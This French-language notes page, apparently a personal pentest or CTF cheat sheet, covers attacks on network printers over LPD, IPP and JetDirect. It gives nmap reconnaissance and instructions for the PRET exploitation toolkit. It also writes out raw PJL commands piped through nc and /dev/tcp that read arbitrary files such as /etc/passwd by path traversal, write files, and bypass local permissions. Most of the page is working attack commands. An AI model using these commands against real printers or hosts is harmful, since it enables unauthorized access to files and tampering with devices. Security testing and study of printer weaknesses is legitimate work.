Whackermelon
notes / techniques-diverses-fr / imprimantes-lpd-pjl-jetdirect

Imprimantes : LPD / PJL / JetDirect

sommaire

Imprimantes réseau — surface d’attaque

Ports : 515 = LPD (RFC 1179) ; 631 = IPP/CUPS ; 9100 = JetDirect/AppSocket/RAW. Langages : PJL, PostScript, PCL. Référence : hacking-printers.net (wiki RUB-NDS) + outil PRET.

Reconnaissance

grep -w 9100 /etc/services
nmap -p 515,631,9100 -sV --script pjl-ready-message CIBLE
# fingerprint PJL brut :
printf '\033%-12345X@PJL INFO ID\r\n\033%-12345X' | nc -w3 CIBLE 9100

PRET (Printer Exploitation Toolkit)

git clone https://github.com/RUB-NDS/PRET
pip install --user --break-system-packages colorama pysnmp
python3 pret.py CIBLE pjl      # puis : ls, get <fichier>, put <fichier>

PJL — système de fichiers (lecture/écriture arbitraire)

FSDIRLIST = lister, FSUPLOAD = lire, FSDOWNLOAD = écrire, FSDELETE = supprimer. Path traversal via « .. » pour sortir du volume 0:. Format brut (UEL = \033%-12345X, EOL = \r\n) :

# LIRE :
printf '\033%-12345X@PJL FSUPLOAD FORMAT:BINARY NAME="0:/etc/passwd" OFFSET=0 SIZE=2048\r\n\033%-12345X' | nc -w5 CIBLE 9100

# ECRIRE (attention : certains services attendent NAME avant SIZE !) :
{ printf '\033%-12345X@PJL FSDOWNLOAD NAME="0:/chemin" SIZE=%d\r\n' "$SIZE"; cat fichier; } > /dev/tcp/CIBLE/9100

Leçons

• Le préfixe de volume 0: est souvent requis. • L’ordre des champs (NAME/SIZE) peut différer d’un service maison → lire la source. • FSUPLOAD lit avec les droits du service (contourne les permissions locales). • PRET peut boguer sous Python récent (put str/bytes) : le brut via nc // /dev/tcp est plus fiable.